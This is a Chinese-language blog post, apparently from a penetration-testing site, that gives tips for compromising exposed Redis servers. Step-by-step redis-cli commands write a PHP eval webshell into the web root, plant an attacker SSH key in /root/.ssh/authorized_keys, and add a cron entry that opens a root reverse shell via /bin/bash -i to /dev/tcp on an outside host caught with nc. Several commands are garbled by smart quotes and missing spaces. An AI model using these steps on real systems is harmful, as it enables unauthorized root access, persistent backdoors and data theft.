您当前位置: 首页 » 渗透技巧 » Redis渗透测试技巧总结

Redis渗透测试技巧总结

2017年2月9日 | 发表评论(0) 查看评论

环境

测试环境在kali下自己搭建的。需要用到redis+ssh。Debian默认不带ssh。所以需要自己安装
Redis安装
wget
http://redis.googlecode.com/files/redis-2.4.16.tar.gz
Tarxzf redis-2.4.16.tar.gz
Cd redis-2.4.16
make
cpsrc/redis-server/usr/bin/
cpsrc/redis-cli/usr/bin/ cpsrc/redis-check-aof/usr/bin/
cpsrc/redis-check-dump/usr/bin/
cpsrc/redis-benchmark/usr/bin/
Ssh安装
Apt-get install ssh
Apt-get install openssh-server
然后配置ssh
具体配置看http://www.osyunwei.com/?p=2215
之后就开始正文

一、知道web路径

如果网站存在web。并且知道web路径的话可以直接写shell了,这个很简单。实战中网站路径的查找可以通过报错、phpinfo等信息寻找。本地测试路径为/var/www/html
root@Frozen:~# redis-cli -h 192.168.159.130
redis 192.168.159.130:6379> config set dir /var/www
OK
redis 192.168.159.130:6379> config set dbfilename 1.php
OK
redis 192.168.159.130:6379> set webshell “<?php @eval($_POST[‘1’]); ?>”
OK
redis 192.168.159.130:6379> save
OK
redis 192.168.159.130:6379>

按照上述命令可成功执行获得shell

注意一个坑
这里在shell前面会有一些乱码。导出的RDB实际上是一个二进制文件,但因为其中包含<?php phpinfo(); ?>,所以被解析了。如果shell不能解析的话也许是二进制文件编码冲突。尝试换一些别的一句话尝试。

二、hacked redis via ssh

root@Frozen:~/Desktop# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)?
root@Frozen:~/Desktop# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
3c:bc:7c:57:cd:fb:1d:56:70:c3:27:e4:f4:c0:f8:90 root@Frozen
The key’s randomart image is:
+–[ RSA 2048]—-+
| ++ |
| E+oo |
| o+o+|
| o .*o|
| S . +|
| . o . o|
| o . . + |
| . . . +|
| o|
+—————–+
root@Frozen:~/Desktop# (echo -e “nn”; cat id_rsa.pub; echo -e “nn”) > foo.txt
cat: id_rsa.pub: 没有那个文件或目录
root@Frozen:~/Desktop# (echo -e “nn”; cat /root/.ssh/id_rsa.pub; echo -e “nn”) > foo.txt
root@Frozen:~/Desktop# cat foo.txt |redis-cli -h www.am0s.com -x set test
OK
root@Frozen:~/Desktop# redis-cli -h www.am0s.com
redis 192.168.159.130:6379> config set dir /root/.ssh/
OK
redis 192.168.159.130:6379> config set dbfilename “authorized_keys”
OK
redis 192.168.159.130:6379> save
OK
redis 192.168.159.130:6379>
至此已经可以通过key登录ssh了
一个坑:生成的密钥在、/root/.ssh/id_rsa 需要自己拷出来。登录ssh的时候选择脚本登录

三、通过cron反弹shell

猪猪侠发在乌云的思路
echo -e “nn*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1nn”|redis-cli -h www.am0s.com -p 13000 -x set 1
本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。
redis-cli -h www.am0s.com -p 13000
#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron
#指定本地数据库文件名
config set dbfilename root
#同步保存数据到磁盘
Save
然后本地nc监听
Nc-lvvp 888即可得到root权限的shell

除了这些能拿权限的方法外,redis还可以利用info获得一些敏感信息。除此之外,之前还转载了一篇与redis相关的文章http://www.am0s.com/penetration/36.html

分类:

渗透技巧

| 标签:

,